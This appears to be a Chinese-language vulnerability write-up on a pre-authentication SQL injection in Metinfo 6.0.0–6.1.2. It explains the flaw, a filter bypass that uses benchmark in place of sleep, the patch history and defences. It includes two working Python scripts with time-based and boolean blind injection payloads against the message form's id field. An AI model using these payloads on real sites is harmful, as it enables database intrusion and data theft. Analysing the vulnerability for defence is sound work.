Metinfo6.0.0-6.1.2前台注入漏洞生命线
字数 1227 2025-08-18 11:37:45
Metinfo 6.0.0-6.1.2 前台SQL注入漏洞分析
漏洞概述
Metinfo 6.0.0至6.1.2版本存在一个严重的前台SQL注入漏洞,该漏洞存在于"在线留言"和"在线反馈"功能中。攻击者无需登录即可利用此漏洞进行SQL注入攻击,获取数据库敏感信息。
漏洞影响版本
- Metinfo 6.0.0 - 6.1.2
漏洞位置
主要漏洞文件:
app/system/message/web/message.class.phpapp/system/feedback/web/feedback.class.php
漏洞原理分析
1. 在线留言功能注入
漏洞触发点
在message.class.php文件中,变量直接拼接在SQL语句中,且验证码检测函数是在SQL语句查询之后执行,导致可以绕过验证码检测进行SQL注入。
过滤机制分析
开发者虽然实现了防护措施:
- 使用
sqlinsert函数检测SQL注入 - 对
id参数进行is_numeric判断
但存在以下问题:
sqlinsert函数仅对sleep关键字进行了处理,可使用benchmark函数绕过upfile类重新载入$_M['form']值时未进行充分过滤
攻击流程
- 攻击者通过前台"在线留言"功能提交表单
- 在表单中添加
id字段,值为攻击payload - 数据经过
daddslashes函数处理但未充分过滤 - 恶意SQL语句被执行
利用方式
- 时间盲注:使用
benchmark函数 - 布尔盲注:通过判断返回结果差异("反馈已经被关闭"或验证码检测)
2. 在线反馈功能注入
漏洞触发点
在feedback.class.php文件中,存在类似的SQL语句拼接问题。
额外限制
需要绕过feedback类的check_field方法检测。
利用方式
- 需要找到有效的
columnid值 - 需要爆破验证码结合时间盲注
漏洞修复情况
修复时间线
-
初始修复:2018年5月,官方未更新版本号,偷偷修复代码
- 修复方式:在
daddslashes方法中对每个参数进行sqlinsert处理 - 问题:
sqlinsert函数仍可绕过
- 修复方式:在
-
最终修复:MetInfo 6.1.3版本
- 进行了更彻底的修复
漏洞利用脚本示例
在线留言利用脚本
import requests
url = "http://target.com/message/index.php?lang=cn"
payload = "1 and if(ascii(substr(database(),1,1))>100,benchmark(2000000,md5(1)),1)"
data = {
'name': 'test',
'tel': '123456789',
'email': 'test@test.com',
'content': 'test',
'id': payload
}
r = requests.post(url, data=data)
print(r.text)
布尔盲注利用脚本
import requests
url = "http://target.com/message/index.php?lang=cn"
payload = "71 and ascii(substr(database(),1,1))>100"
data = {
'name': 'test',
'tel': '123456789',
'email': 'test@test.com',
'content': 'test',
'id': payload
}
r = requests.post(url, data=data)
if "反馈已经被关闭" in r.text:
print("False condition")
else:
print("True condition")
防御建议
- 升级到MetInfo 6.1.3或更高版本
- 对所有用户输入使用参数化查询
- 实现多层防御机制,包括:
- 输入验证
- 输出编码
- 最小权限原则
技术要点总结
- 漏洞本质:未充分过滤的用户输入直接拼接SQL语句
- 绕过技巧:
- 使用
benchmark代替sleep绕过sqlinsert检测 - 利用程序逻辑缺陷绕过
is_numeric检查
- 使用
- 利用方式:
- 时间盲注
- 布尔盲注
- 验证码爆破(针对反馈功能)
参考资源
- MySQL时间盲注技术
- Metinfo官方更新日志
- PHP安全编码最佳实践